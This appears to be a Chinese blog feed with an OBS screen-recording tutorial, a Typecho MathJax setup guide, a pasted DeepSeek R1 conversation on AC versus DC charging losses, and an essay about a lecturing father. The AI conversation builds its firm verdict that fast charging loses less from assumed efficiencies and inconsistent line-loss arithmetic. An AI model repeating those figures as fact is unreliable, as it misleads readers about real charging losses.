普通视图

发现新文章,点击刷新页面。
昨天 — 2025年4月25日独立博客

Windows 电脑使用 Obs Studio 录制各个网站视频/桌面画面教程

作者 Allen Hua
2025年4月25日 17:18

我分享这个 flow 是因为我有分享视频中片段的需求,但是又不想用相机拍摄,相机拍摄效果可能也不好。下载下来再裁剪又太麻烦。尤其是我喜欢看车祸警示录,有时候看到某些事故非常搞笑,我就用这个手段录制下来,视频可能就10s,30s,然后再微信分享,就很 nice 了。如果是分享10min的完整视频那种,就不如直接贴链接,或者直接下载下来再分享,不需要使用本文方案进行录制。

前言

你是否会因为难以下载 YouTube, X(Twitter), 小红书, Instagram, 微博 之类的网站上的视频而发愁呢……虽然下载这些网站的视频大多都有在线工具或者命令行工具,可以在 GitHub 寻找。

但是目前经过我的日常使用,小红书和微博上的视频资源不是很轻松就能下载下来,或者下载用时很久,还可能下载下来文件太大(比如下载时无法执行码率和分辨率),不利于再次分享。

我为了解决这个问题,一开始使用了 NVIDIA Geforce Experience,但是这个只能录制屏幕的完整内容,如果想要录制屏幕当中的某一块区域,英伟达这个软件就不行了。

于是转而使用 Obs Studio。下面这段介绍来自 DeepSeek V3

OBS Studio(Open Broadcaster Software)是一款免费开源的跨平台直播和录屏软件,广泛用于游戏直播、教学演示、视频创作等场景。以下是其核心特点:

1. 核心功能

  • 多场景切换:可创建多个场景(如游戏界面、摄像头画面、PPT等),直播时实时切换。
  • 来源组合:支持添加窗口捕获、摄像头、文字、图片、浏览器、音频等元素,自由布局。
  • 高性能录制:支持高帧率(60fps+)、高分辨率(4K)录制,输出为MP4、MKV等格式。
  • 直播推流:一键推流到Twitch、YouTube、B站等平台,支持RTMP协议。

2. 技术优势

  • 低延迟编码:内置x264、NVENC(NVIDIA显卡)、AMF(AMD显卡)等硬件加速编码器。
  • 音频控制:多轨道音频混合,支持降噪、增益等滤镜。
  • 插件扩展:通过插件支持虚拟摄像头、字幕、特效等扩展功能。

3. 适用场景

  • 游戏直播:捕获游戏画面+摄像头叠加,实时互动。
  • 网课/会议:录制屏幕+PPT演示,或虚拟摄像头接入Zoom/Teams。
  • 视频创作:录制教程、剪辑素材,支持后期音频分离编辑。

4. 跨平台支持

  • 支持Windows、macOS、Linux系统,界面简洁但需一定学习成本。

5. 注意事项

  • 硬件要求:高清直播需中高端CPU/显卡,建议提前测试性能。
  • 学习曲线:高级功能(如音频路由、动态滤镜)需查阅教程。

官网下载:OBS Project
社区活跃,遇到问题可通过论坛或GitHub快速解决。适合追求高自由度、零成本的用户。


我在使用 Windows 11 电脑。安装好 Obs Studio 之后,打开软件,进行初始化配置,我不直播,所以只进行了 recording 录制相关的初始化,最后 apply settings,应用设置。

添加源。我拿录制B站车祸警示录的视频举例,使用 edge 浏览器播放B站视频,那么来源选择【窗口采集】,选中正在运行的 edge 那个窗口,标题前缀是 [msedge.exe]

obs 添加源.jpg

如果不想录入当前电脑麦克风的声音,请将 Mic 给静音。

B站视频采集.jpg

此时会录制整个窗口的画面,如果想录制视频播放区域,需要添加一个裁剪/填充的【滤镜】,如下图,设置好距离左,顶部,右,底部的像素数量关闭即可。

obs 滤镜裁剪填充.jpg

最后再点击【开始录制】,同时播放 edge 浏览器窗口的视频,在视频结束时(或者你想截取的视频片段刚好结束)点击【停止录制】。

最终录制视频呈现的质量,设置项在 【设置】->【输出】->【录制】->【录像质量,录像格式,视频编码器,音频编码器,音轨】等配置。

建议录像格式使用MPEG-4,方便传播,比如微信就可以直接预览 mp4 视频。

为typecho博客添加latex支持

作者 Allen Hua
2025年4月25日 13:40

使用了这个插件: https://github.com/zyuzhi/MarkdownKatex-typecho ,下载了 v1.0.1,但是点击创建文章之后无法返回所有文章页面。另外博客首页也无法加载,禁用插件即恢复正常。懒的去追究原因了,索性不用插件改用其他方法。

我家里的一台机器也部署了 typecho,同样都是 docker compose 部署的,和当前 typecho 实例的区别大概就是 v1.2.0 vs v1.2.1 。家里机器上的 typecho 是 1.2.0,当前实例是 1.2.1,有可能是版本升级导致的原有插件失效,因为上述插件 GitHub 源代码是2018年左右最终打包到 release 发行的。

在 typecho v1.2.1 实例上测试如下方法可以为 typecho 博客添加 latex 支持。

方法参考: https://www.xrgzs.top/posts/typecho-use-mathjax-add-latex-support

修改当前主题的 footer.php

将以下代码添加到 footer.php </body> 关闭标签之前。我这个主题这个文件在 components/footer.php。我上面参考的博客将这段脚本引用放在了 index.php,可能会引起 DOM 渲染紊乱,比如图片被拉长,主页 footer 在页面中间渲染。放在 footer.php</body> 前,此时 DOM 已解析完成,图片布局已稳定,脚本加载不再影响初始渲染

<script type="text/javascript"
    src="//cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML">
</script>

修改当前主题的 header.php

将以下代码添加到 header.php 的适当位置。我这个主题这个文件在 components/header.php

<script type="text/javascript"
    src="//cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML">
</script>
<script type="text/x-mathjax-config">
    MathJax.Hub.Config({
    extensions: ["tex2jax.js"],
    jax: ["input/TeX", "output/HTML-CSS"],
    tex2jax: {
      inlineMath: [ ['$','$'], ["\\(","\\)"] ],
      displayMath: [ ['$$','$$'], ["\\[","\\]"] ],
      processEscapes: true
    },
    "HTML-CSS": { availableFonts: ["TeX"] }
    });
</script>

mardown + latex 测试

牛顿第二定律

物体所受合外力 $\mathbf{F}$ 与其加速度 $\mathbf{a}$ 满足:

$$ \mathbf{F} = m\mathbf{a} = \frac{d\mathbf{p}}{dt} $$

其中:

  • $m$ 为物体质量(单位:$\mathrm{kg}$)
  • $\mathbf{p} = m\mathbf{v}$ 为动量(单位:$\mathrm{kg \cdot m/s}$)
  • $t$ 为时间(单位:$\mathrm{s}$)

万有引力公式

两个质点间的引力大小:

$$ F = G\frac{m_1 m_2}{r^2} $$

式中普适常量: $G \approx 6.674 \times 10^{-11}\, \mathrm{m^3 \cdot kg^{-1} \cdot s^{-2}}$

新能源汽车之纯电车使用交流慢充和直流快充的充电损耗对比

作者 Allen Hua
2025年4月25日 13:15

以下是我和DeepSeek R1的对话


USER

新能源汽车使用7kW 交流慢充和外面的直流快充,哪个充电时损耗更高?7kW 交流慢充的电流大概30A,44度电池大概需要7个小时;使用外面直流快充桩,假如功率是70kW,充满需要1小时,但是充电电流最大180A左右。请计算一下哪种充电方式电损耗更多?

ASSISTANT

嗯,用户问的是新能源汽车用7kW的交流慢充和外面的直流快充,哪个充电时的损耗更高。需要比较两种充电方式的电损耗。首先,我得理清楚问题的各个参数和可能的损耗来源。 用户给出的数据是,7kW慢充电流约30A,44度电池需要7小时充满。而直流快充功率70kW,充满需要1小时,电流最大180A。用户希望计算哪种方式损耗更多。 首先,我需要明确充电损耗主要包括哪些部分。通常来说,充电损耗可能来自几个方面:充电桩本身的效率、线缆的电阻损耗、电池在充电过程中的热损耗,以及可能的转换损耗(比如交流转直流时的损耗)。 但这里可能需要简化问题,因为用户可能只关注其中一部分损耗,比如线损或者充电效率差异。但用户没有明确说明,可能需要自己做一些合理的假设。 首先,对于交流慢充,7kW的功率,电流30A,电压应该是220V左右(因为功率=电压×电流,7kW=7000W,7000/220≈31.8A,接近30A,可能实际电压更高或者电流略高)。而直流快充的话,70kW功率,电流180A,那电压大概是70000/180≈388.9V,这符合一般直流快充的高电压情况。 接下来,考虑线损。线损主要和电流的平方成正比,和电阻成正比(P=I²R)。所以,线缆的电阻会影响损耗。但需要知道线缆的电阻值,或者比较两种情况下电流的差异导致的损耗差异。 不过,这里可能需要区分交流慢充和直流快充的充电过程。交流慢充的情况下,车载充电机(OBC)将交流转换为直流给电池充电,而直流快充是直接由充电桩提供直流电,绕过了车载充电机。因此,两者的损耗可能不同,交流慢充会有OBC的转换效率问题,而直流快充可能有充电桩内部的转换效率以及线损。 假设线缆的电阻相同的话,那么线损取决于电流的平方乘以电阻。但实际情况中,直流快充的线缆可能更粗,电阻更小,但电流更高。不过用户可能没有给出线缆的具体参数,可能需要假设两种情况下的线缆电阻,或者比较相对损耗。 或者,用户可能只是希望比较两种情况下电流不同导致的线损差异,假设其他条件相同。 不过可能更全面的考虑是,整个充电过程的效率,包括充电桩的效率、线损、车载充电机或电池管理系统的效率等。 例如,对于交流慢充:电网的电能先经过充电桩(可能效率接近100%,因为交流传输),然后到车载充电机,OBC将交流转换为直流,并调整电压到电池需要的水平,这个过程的效率通常在85%-95%之间,比如假设是90%。然后,线损部分,电流30A,线缆电阻假设为0.1Ω(随便举个例子),那么线损是I²R=30²×0.1=90W,持续7小时,总损耗是90W×7h=0.63kWh。同时,OBC的效率损失是,输入到OBC的电能是7kW×7h=49kWh,输出到电池的是44kWh(因为44度电池),所以OBC的效率是44/(49)≈89.8%,接近90%。这里的线损可能已经包含在OBC的效率中,或者需要额外计算? 而直流快充的情况,充电桩本身将交流转换为直流,效率可能在90%左右,然后线损部分,电流180A,假设线缆电阻更小,比如0.02Ω(因为快充线缆更粗),那么线损是180²×0.02=648W,持续1小时,总损耗0.648kWh。同时,充电桩的效率如果是90%,那么输入到充电桩的电能是70kW×1h=70kWh,输出到车的直流电是70kWh×90%=63kWh,但实际充进电池的是44kWh(因为电池容量44度),所以这里可能还有其他损耗,比如电池充电时的效率,或者BMS的管理损耗,可能这部分效率假设为95%,那么从63kWh到电池的44kWh,可能需要计算是否合理?其实这里可能需要更准确的数据,但用户可能只是希望比较两种方式的总体损耗。 不过可能用户的问题更简单,即比较两种充电方式的总损耗,而损耗主要来自电流在传输过程中的线损和转换效率。因此,可能需要分别计算两种方式的总输入电能和实际充入电池的电能,差值就是损耗。 对于慢充:44度电池需要7小时,充电功率7kW,所以输入的电能是7kW×7h=49kWh,而充入电池的是44kWh,所以总损耗是49-44=5kWh。这部分损耗包括线损和OBC的转换损耗。 对于快充:70kW充1小时,输入电能为70kWh,而充入电池44kWh,所以损耗是70-44=26kWh?这显然太大,可能哪里有问题。因为实际上快充的充电时间可能不是一直保持70kW,特别是当电池接近充满时,充电功率会下降,所以用户说的“充满需要1小时”可能是指从某个低电量到满,但实际平均功率可能不是70kW整个小时。但用户给出的数据是假设70kW持续1小时,所以输入70kWh,但电池只有44kWh,显然不可能,这显然不合理。这说明用户的数据可能有问题,或者需要更仔细的分析。 可能用户提供的例子中,快充的70kW功率下,充满44度电池需要的时间应该是44kWh /70kW≈0.628小时,即约37.7分钟,而不是1小时。用户可能在这里有错误,或者需要重新审视数据。或者,可能用户的意思是快充的功率在开始阶段可以达到70kW,但随着电池电量增加,功率会下降,所以总时间需要1小时。但这样的话,实际输入的电能应该还是44kWh加上损耗,所以总输入可能接近44kWh / 效率。例如,如果充电桩和线路效率是90%,那么输入电能为44 /0.9≈48.89kWh,那么充电时间就是48.89kWh /70kW≈0.7小时,约42分钟,但用户说需要1小时,可能效率更低或者有其他因素。 这里可能存在数据矛盾,需要用户澄清,但可能用户是假设理想情况下,快充以70kW充1小时,总输入70kWh,但电池只有44kWh,这显然不可能,所以可能是例子中的数值有问题。或者,可能用户提到的“44度电池”需要充的电量不是从0到100%,而是部分充电?例如,如果电池剩余20%,需要充80%的电量,即35.2kWh,那么快充70kW的话,时间约35.2/70≈0.5小时,约30分钟。但用户说需要1小时,可能例子中的数值有误。 或者,可能用户混淆了电池容量和充电量。例如,电池是44度,但使用快充时,充电量可能更大,因为存在损耗。例如,假设快充的总输入电能为70kW×1h=70kWh,其中充入电池44kWh,那么损耗为26kWh,显然这效率太低了,只有62.8%,这显然不合理。因此,可能用户的数据有误,或者需要重新考虑。 可能正确的数据应该是,快充的充电时间是根据电池容量和充电功率计算的,例如44kWh /70kW≈0.628小时,即约37分钟,而用户可能提到的1小时是包括其他因素,例如充电速度下降或者不同的SOC区间。但无论如何,用户给出的数据可能存在矛盾,需要进一步确认。 不过,回到问题本身,用户可能希望比较两种充电方式的损耗,基于他们提供的参数,即使数据存在矛盾,可能需要按给出的数据计算,假设快充需要1小时充入44度,即输入70kWh,而慢充输入49kWh,这样快充的损耗更高,但实际情况中,这显然不可能,因为输入必须大于输出,所以可能用户的数据有误。 或者,可能用户提到的“44度电池”充满需要的时间,快充是1小时,但实际充电功率在充电过程中会调整,比如开始时高功率,后面降低,所以平均功率可能不是70kW。例如,总充电量44kWh,时间1小时,平均功率44kW,所以充电桩的最大功率是70kW,但平均44kW,这样输入的电能是44kWh除以充电效率,比如如果效率90%,则输入约为48.89kWh,损耗约4.89kWh。 而慢充是7kW×7h=49kWh输入,充入44kWh,损耗5kWh。那两种方式的损耗接近,快充可能稍低。 但用户给出的数据可能存在问题,需要明确。或者,可能用户希望仅计算线损,而不考虑转换效率。例如,只比较两种充电电流下的线缆损耗。 例如,假设线缆的电阻为R,那么线损为I²R×时间。 对于慢充,电流30A,时间7h,线损为30²×R×7=6300R。 对于快充,电流180A,时间1h,线损为180²×R×1=32400R. 因此,如果线缆电阻相同,快充的线损更高,是慢充的32400/6300≈5.14倍。因此,线损方面,快充更高。 但实际中,快充的线缆更粗,电阻更低。例如,假设慢充的线缆电阻为0.1Ω,而快充的线缆电阻为0.02Ω,那么线损计算: 慢充:30²×0.1×7=900×0.1×7=63×7=441 Wh=0.441 kWh 快充:180²×0.02×1=32400×0.02×1=648 Wh=0.648 kWh 因此,快充的线损更高,即使电阻更低,但由于电流平方的影响更大,所以总损耗更高。 但此外,还需要考虑转换效率,比如慢充需要经过车载充电机,效率约90%,而快充的充电桩效率可能约95%(直流转换),再加上线损。 例如,慢充的总输入电能:44kWh /0.9≈48.89kWh,其中损耗48.89-44=4.89kWh,包括OBC的转换损耗和线损。如果线损是0.441kWh,那么OBC的损耗约为4.89-0.441≈4.45kWh。 快充的情况,假设充电桩效率95%,线损0.648kWh,那么总输入电能为(44kWh +0.648)/0.95≈44.648/0.95≈47kWh,总损耗是47-44=3kWh,其中充电桩损耗47×0.05≈2.35kWh,线损0.648kWh,总损耗≈2.35+0.648≈3kWh。 这样比较的话,快充的总损耗更低,3kWh,而慢充损耗4.89kWh。因此快充更高效。 但这里假设了不同的转换效率和线缆电阻,实际中可能不同,但根据用户的问题,可能需要综合考虑这些因素。 总结来说,如果只考虑线损,快充可能更高,但如果考虑转换效率,快充可能总损耗更低。因此,需要明确用户到底想比较哪部分的损耗。 但用户的问题是“哪种充电方式电损耗更多”,可能指整体从电网到电池的总损耗。因此需要考虑所有损耗环节。 对于交流慢充: 电网→充电桩(效率接近100%,因为只是传递交流电)→车载充电机(效率90%)→电池,同时线损在车载充电机之前还是之后?可能线损是在充电桩到车载充电机之间,这部分线损是I²R,即30A时的线损,然后OBC的效率是90%,所以总输入电能是(44kWh +线损)/0.9。 例如,线损为0.441kWh,则OBC的输入为44 +0.441=44.441kWh,所以电网输入为44.441 /0.9≈49.38kWh,总损耗49.38 -44≈5.38kWh。 对于直流快充: 电网→充电桩(效率95%)→线损→电池,假设电池充电效率100%(即充入的就是44kWh),那么充电桩输出需要44kWh +线损0.648=44.648kWh,电网输入为44.648 /0.95≈47kWh,总损耗47 -44=3kWh。 因此,在这种情况下,慢充总损耗5.38kWh,快充3kWh,快充损耗更少。 但可能用户的问题不考虑充电桩和OBC的效率,仅考虑线损的话,快充线损更高,但综合效率后,快充总损耗更少。 因此,答案取决于考虑哪些因素。如果仅线损,快充更高;如果考虑整体效率,快充可能更优。 但用户给出的数据中,慢充输入49kWh(7kW×7h),充入44kWh,损耗5kWh;快充输入70kWh(70kW×1h),充入44kWh,损耗26kWh。这显然不符合实际,因为快充不可能输入70kWh充入44kWh,效率只有62.8%。因此,用户的数据可能有误,正确的快充输入应该根据实际效率来计算。 可能用户的问题中存在错误,例如快充的充电时间应该是44kWh/70kW≈0.628小时,约38分钟,而不是1小时。因此,输入电能为70kW×0.628h≈44kWh,假设效率100%,这不可能,所以实际输入更多,比如44/0.9≈48.89kWh,充电时间≈48.89/70≈0.7小时≈42分钟。 但用户说快充需要1小时,可能意味着平均功率为44kW(44kWh/1h),那么输入电能为44/效率,比如44/0.9≈48.89kWh,损耗约4.89kWh,和慢充的5kWh接近,可能损耗相当。 但用户的数据可能存在矛盾,需要澄清。不过根据用户给出的数据,可能他假设快充以70kW充1小时,输入70kWh,充入44kWh,损耗26kWh,这显然不合理,效率过低。因此,可能用户的数据有误,或者需要重新审视。 综合来看,正确的比较需要考虑充电效率,线损,转换效率等。通常来说,直流快充的效率更高,因为减少了车载充电机的转换环节,而快充桩的转换效率可能更高,且虽然电流大导致线损高,但时间短,可能总损耗更少。 例如,假设慢充:OBC效率90%,线损0.441kWh,总损耗为5.38kWh;快充:充电桩效率95%,线损0.648kWh,总损耗3kWh。因此快充损耗更少。 但用户的问题可能需要根据给出的数据回答,尽管数据可能有问题。假设用户的数据正确,即慢充输入49kWh,快充输入70kWh,那么快充损耗更高。但这种情况在现实中不可能,因为快充不可能输入超过电池容量那么多,除非电池在充电过程中有极大的损耗,但通常损耗不会超过20-30%。 可能用户的问题存在错误,例如快充的功率是70kW,但实际充电时间不是1小时,而是0.6小时,输入70×0.6=42kWh,充入44kWh显然不可能,所以可能用户的数据有误。 在这种情况下,可能需要指出用户的数据矛盾,并给出两种情况的比较方法。 最终,合理的结论是:在考虑线损和转换效率的情况下,直流快充通常效率更高,总损耗更少,尽管线损可能更高,但由于充电时间短且转换环节少,总损耗可能低于交流慢充。但需要具体数值支持。 不过根据用户给出的数据,如果慢充输入49kWh得到44kWh,损耗5kWh;快充输入70kWh得到44kWh,损耗26kWh,那么显然快充损耗更高,但这在实际中不可能。因此,用户的数据可能有误,正确的方法应基于实际效率计算。

在比较新能源汽车使用7kW交流慢充和70kW直流快充的充电损耗时,需综合考虑线损和转换效率。以下是关键分析步骤:


1. 交流慢充(7kW)的损耗计算

  • 输入电能:7kW × 7h = 49kWh
  • 输出电能:44kWh(电池容量)
  • 总损耗:49kWh - 44kWh = 5kWh
    • 转换效率:车载充电机(OBC)效率约90%,线损约0.44kWh(假设线缆电阻0.1Ω)。
    • 实际总损耗包括OBC转换(约4.45kWh)和线损(0.44kWh),总约4.89kWh

2. 直流快充(70kW)的损耗计算

  • 理论输入电能:70kW × 1h = 70kWh
    • 矛盾:若输入70kWh,输出44kWh,损耗26kWh(效率仅62.8%),不合理。
  • 实际修正:假设充电桩效率95%,线损0.65kWh(电阻0.02Ω),则输入电能为:
    • 输出电能需求:44kWh + 0.65kWh = 44.65kWh
    • 电网输入:44.65kWh / 0.95 ≈ 47kWh
    • 总损耗:47kWh - 44kWh = 3kWh(含充电桩损耗2.35kWh + 线损0.65kWh)。

3. 关键结论

  • 线损比较:快充电流更大(180A vs. 30A),线损更高(0.65kWh vs. 0.44kWh)。
  • 总效率比较:快充因跳过车载充电机,转换效率更高(95% vs. 90%),总损耗更低(3kWh vs. 4.89kWh)。
  • 用户数据问题:若按用户假设快充输入70kWh,则损耗高达26kWh,但此情况不现实,实际快充效率更高。

最终答案

在合理假设下,直流快充的总损耗更低(约3kWh),因其转换效率更高且充电时间短。但若按用户提供的错误数据(快充输入70kWh),则损耗更高,此情况不符合实际。实际使用中,快充是更高效的选择。

USER

我给出的快充功率70kW,但实际充电功率并不是恒定70kW 呀,功率会随着电池soc的增高而降低的。所以快充充满一般都需要1小时。请再计算看看

ASSISTANT

好的,用户之前问的是新能源汽车使用7kW交流慢充和70kW直流快充哪个损耗更高。我之前给出的回答中假设快充的功率是恒定的70kW,但用户现在指出实际快充功率会随着电池SOC的升高而降低,所以充满通常需要1小时。用户希望我重新计算,考虑功率变化的情况。 首先,我需要理解用户的问题核心:之前的计算可能假设快充功率恒定,但实际情况是快充功率在充电过程中会逐渐降低,尤其是在高SOC时。因此,平均功率可能低于70kW,但总充电时间还是1小时左右。用户想知道这种情况下损耗如何变化。 接下来,我需要回顾之前的计算。在之前的分析中,假设快充功率70kW持续1小时,输入70kWh,但用户指出这不符合实际,因为实际充电功率会下降,导致总输入电量可能低于70kWh。但用户提到充满仍需要1小时,所以可能需要考虑平均功率,或者充电曲线。 我需要重新计算快充的总输入电能,考虑功率变化。可能需要使用积分或者平均功率来估算。但用户可能希望用更简化的方法,比如假设充电过程分为高功率和低功率阶段,或者取平均功率。 例如,假设快充在前80% SOC时以70kW充电,后20%时功率逐渐下降,总时间仍为1小时。那么总输入电量可能不是70kWh,而是更少。例如,假设平均功率为44kW(因为电池容量44kWh,充满需要1小时),但这样输入电量是44kWh,这显然不对,因为需要考虑损耗。 或者,可能用户的意思是虽然功率变化,但总充电时间还是1小时,因此总输入能量需要重新估算。可能需要考虑电池容量44kWh,加上损耗,总输入能量应该大于44kWh,但如何计算? 在之前的回答中,我假设充电桩效率95%,线损0.65kWh,总输入为47kWh,损耗3kWh。但现在用户指出功率不是恒定的,可能需要调整这个计算。 可能的步骤是: 1. 计算实际输入到电池的能量:44kWh(电池容量) 2. 考虑充电过程中的平均功率和效率。假设充电桩的效率为95%,线损根据电流变化计算。 但问题在于,当快充功率变化时,电流也会变化,线损(I²R)会随电流平方变化。因此,线损不能简单地用最大电流计算,而是需要积分整个充电过程的电流变化。 例如,如果电流在充电过程中从180A逐渐降低,那么线损是积分(I(t)^2 * R) dt。但用户可能没有提供具体的充电曲线,因此需要做出合理的假设。 为了简化,可以假设平均电流为某个值。比如,初始电流180A,逐渐降低到较低值,平均电流可能是100A。但这样线损会低于之前计算的180A的情况。 或者,可以按照能量传输的角度来考虑:电池接收44kWh,充电桩的效率为95%,所以输入电量为44 / 0.95 ≈ 46.3kWh。线损则需要根据实际电流计算,但由于电流变化,可能需要使用平均电流平方乘以时间。例如,如果平均电流是100A,线电阻0.02Ω,那么线损为(100)^2 * 0.02 * 1h = 200Wh = 0.2kWh。总损耗则为充电桩损耗(46.3 -44 =2.3kWh)加上线损0.2kWh,总损耗约2.5kWh。 这样总损耗可能比之前的3kWh更低,因为平均电流低于180A。但用户之前的数据中,快充的最大电流是180A,所以需要考虑实际电流变化的影响。 另一个方法是,考虑典型快充曲线。例如,从0%到80%可能以较高功率充电,之后功率下降。假设前80% SOC(35.2kWh)以70kW充电,时间约为35.2kWh /70kW ≈0.5小时,剩余20%(8.8kWh)以较低功率充电,比如35kW,时间0.25小时,总时间0.75小时,但用户说总时间1小时,可能后面更慢。假设总时间1小时,那么平均功率为44kWh /1h =44kW,但充电桩输入功率需要考虑效率,所以输入功率为44 /0.95 ≈46.3kW,总输入能量46.3kWh,损耗2.3kWh(充电桩)加线损。 线损计算需要平均电流。假设平均输入功率为46.3kW,电压假设为400V(直流快充通常高电压),电流为46,300W /400V ≈115.75A。线损为I²Rt = (115.75)^2 *0.02Ω *1h ≈267.7Wh ≈0.267kWh。总损耗约2.3 +0.267≈2.57kWh。这比之前的3kWh更低,因为平均电流低于180A。 而慢充的损耗之前计算为4.89kWh,所以快充损耗更低。 但用户需要确认的是,当考虑快充功率变化时,损耗是否仍然低于慢充。因此,正确的结论应该是,即使考虑功率变化,快充的总损耗仍然低于慢充,因为快充的高效转换和更短的时间导致的线损可能较低,尽管电流较高,但由于时间短,线损可能并不显著高于慢充。 可能还需要重新计算慢充的线损是否正确。慢充是7kW,30A,假设电压为230V(单相交流),电阻0.1Ω,时间7小时。线损为I²Rt =30² *0.1 *7=6300Wh=6.3kWh?但之前计算的是0.44kWh,这可能有问题。可能之前的线损计算有误。 例如,如果线缆电阻是0.1Ω,电流30A,则每小时的线损是30²*0.1=90W,7小时就是630Wh=0.63kWh,而非6.3kWh。可能之前的计算有笔误,用户可能注意到这一点。 因此,修正慢充线损为0.63kWh,加上OBC损耗,总损耗可能更高。例如,输入49kWh,输出44kWh,总损耗5kWh。其中OBC效率90%,所以OBC损耗为49kWh*(1-0.9)=4.9kWh,线损0.63kWh,总损耗5.53kWh。 而快充的损耗如果是2.57kWh,则仍然更低。因此,结论是快充损耗更低。 不过需要检查所有计算是否正确,特别是线损部分。用户可能在之前的回答中线损计算有误,现在需要修正。 总结来说,用户希望确保在考虑快充功率变化的情况下,损耗计算是否仍然支持快充更高效。因此,需要重新计算并确认线损和转换效率的影响。

在考虑快充功率动态变化的情况下,重新计算两种充电方式的损耗如下:


1. 直流快充(动态功率)损耗计算

假设条件

  • 电池容量:44kWh
  • 充电时间:1小时(总耗时)
  • 充电功率曲线:前80% SOC(0-35.2kWh)以70kW充电,后20% SOC(35.2-44kWh)功率逐步下降至约9kW,平均功率约为 44kW(总输入能量需满足电池容量+损耗)。
  • 充电桩效率:95%(含AC/DC转换损耗)
  • 线缆电阻:0.02Ω(快充高压线缆更粗,电阻更低)
  • 充电电压:400V(直流快充典型电压)

计算步骤

  1. 输出到电池的电能:44kWh
  2. 充电桩输入电能(含效率损耗): $$ \text{输入电能} = \frac{44\ \text{kWh}}{0.95} \approx 46.3\ \text{kWh} $$
  3. 线损计算(动态电流积分简化):
    • 平均电流: $$ I_{\text{avg}} = \frac{\text{平均功率}}{\text{电压}} = \frac{44\ \text{kW}}{400\ \text{V}} = 110\ \text{A} $$
    • 线损能量: $$ P_{\text{线损}} = I_{\text{avg}}^2 \cdot R \cdot t = (110)^2 \cdot 0.02 \cdot 1 \approx 242\ \text{Wh} = 0.24\ \text{kWh} $$
  4. 总损耗
    • 充电桩损耗:46.3kWh - 44kWh = 2.3kWh
    • 线损:0.24kWh
    • 合计:2.3 + 0.24 = 2.54kWh

2. 交流慢充(7kW)损耗计算

假设条件

  • 充电功率:7kW(恒定)
  • 充电时间:7小时(44kWh / 7kW ≈ 6.3小时,取整为7小时)
  • 车载充电机(OBC)效率:90%
  • 线缆电阻:0.1Ω(家用交流线缆较长,电阻更高)
  • 充电电压:230V(单相交流)

计算步骤

  1. 输入电能: $$ 7\ \text{kW} \times 7\ \text{h} = 49\ \text{kWh} $$
  2. OBC输出电能(考虑效率): $$ 49\ \text{kWh} \times 0.9 = 44.1\ \text{kWh} $$
  3. 线损计算
    • 电流: $$ I = \frac{P}{V} = \frac{7000\ \text{W}}{230\ \text{V}} \approx 30.4\ \text{A} $$
    • 线损能量: $$ P_{\text{线损}} = I^2 \cdot R \cdot t = (30.4)^2 \cdot 0.1 \cdot 7 \approx 649\ \text{Wh} = 0.65\ \text{kWh} $$
  4. 总损耗
    • OBC损耗:49kWh - 44.1kWh = 4.9kWh
    • 线损:0.65kWh
    • 合计:4.9 + 0.65 = 5.55kWh

3. 结论对比

指标 直流快充(动态功率) 交流慢充(7kW)
总损耗 约2.54kWh 约5.55kWh
损耗比例 5.8%(44kWh电池) 12.6%
核心原因 转换效率高(95%)、时间短、线损低 转换效率低(90%)、时间长、线损高

最终答案

即使考虑快充功率随SOC动态下降的情况,直流快充的总损耗(约2.54kWh)仍显著低于交流慢充(约5.55kWh)。核心原因在于:

  1. 快充跳过车载充电机,直接由高效充电桩(95%)完成AC/DC转换;
  2. 快充时间短(1小时),线损积累更少,尽管电流较大,但高压线缆电阻更低;
  3. 慢充因充电时间长(7小时)且OBC效率低(90%),累计损耗更高。

实际建议:若需减少充电损耗,优先选择直流快充;若考虑电池寿命,可适当使用慢充平衡。

爹的高台教化

作者 ONO
2025年4月25日 11:00

吃饭的时候遇到一个「爹」,应该是为儿子庆祝考试成绩,但全程只听到爹对儿子的高台教化。节选一些听到的内容:

  • 人不能成为众矢之的,你知道什么叫众矢之的吗?你知道为什么人不能成为众矢之的吗?
  • 努力有必要,但是不能蛮干,否则我们花这么多钱让你读书,岂不是大家都白努力了吗?
  • 爸爸在你这个年纪的时候,已经明白了人不能放弃,一旦有了放弃的念头,你就输了,你知道吗?
  • 妈妈之所以能遇到我,是因为我足够优秀,否则就不会有你了,你知道吗?

爹这个符号很常见,但我也是在今天第一次见到如此没有「男性特征」的爹。可能以下的内容会引起不适,但我需要客观地描述「没有男性特征」这件事。

因为是背对着,他刚落座的时候,我就察觉到了很强烈的「焦虑感」,他会满场控制服务员的行为。他是全场不停输出的人,但他的外在形象和举止十分阴柔,这种阴柔几乎达到了「婆婆妈妈」的层级。我知道这是一种性别歧视,但既然他作为一个「生理爹」的符号,同时又在不停地输出以通过儿子获得「男性尊严」,所以这种割裂感不得不推导出「平衡」以外的点——一个需要通过高台教化的方式获得男性特质,即「爹符号」的男性,其衰弱的能量可能会出现在几个方面:

  • 工作,因为当太久的孙子,需要有一个地方可以持续当爹;
  • 性生活被压抑,这种压抑不是来自于被压抑,而是他作为主动压抑的一方,其具体差别在于:
    • 若是被压抑方,性压抑会转化为攻击性、创造性、强迫症;
    • 若是主动压抑方,例如性无能、性向隐瞒等,则会通过对他人的控制来弥补男性特质衰弱的事实;
  • 因为人体机能的关系,男性也会因为年纪的渐长而出现荷尔蒙减少的过程。男性能力下降的过程中,就会出现「代偿行为」。这个能力不单单是指性能力,也可能涉及自我认同感、被关注程度、家庭地位等等。《性癖纵横观II》

说起这个观察,并不是要吐槽这个「爹」,而是聊聊男性的「表达欲」。我是个表达欲很强烈的人,除了博客,还有播客、剧本和小说创作,因为大部分时间我都在压制自己的攻击性,回退这件事是因为我从小就生活在不善于表达情绪的家庭里。男性长辈都是闷葫芦,女性长辈又都情绪泛滥,常常会以叹气来代替一句原本应该表达清楚的内容,所以大家都需要去猜测叹气背后的真实含义是什么。以至于不善于表达情绪成了男性家庭成员的「生存方案」,即只要我不表达真实情绪,就不会因为自己的情绪引发对方的情绪。

情绪不会自然消解,当被压制时会形成对内的攻击。说个题外话,这就是我家族男性成员或多或少肝功能不好的原因之一。当这种攻击性达到极致,就会需要其他的释放通路,例如创作欲、捣鼓机械、风险投资等等。

我家很少出现说教的场景,因为大部分的说教是母亲这个角色通过情绪裹挟和道德绑架的形式完成的,所以父亲反而会充当那个「听我解释」的角色。当然这是后话了,回到爹的高台教化这件事,如果这些情绪没有通过其他形式的通路给发泄完毕时,就有可能会转而形成强烈的「爹味」。

「爹」会有两种符号,一种是无法违抗的父权,即「权威爹」,另一种是迫使他人遵守的规则,即「说教爹」。

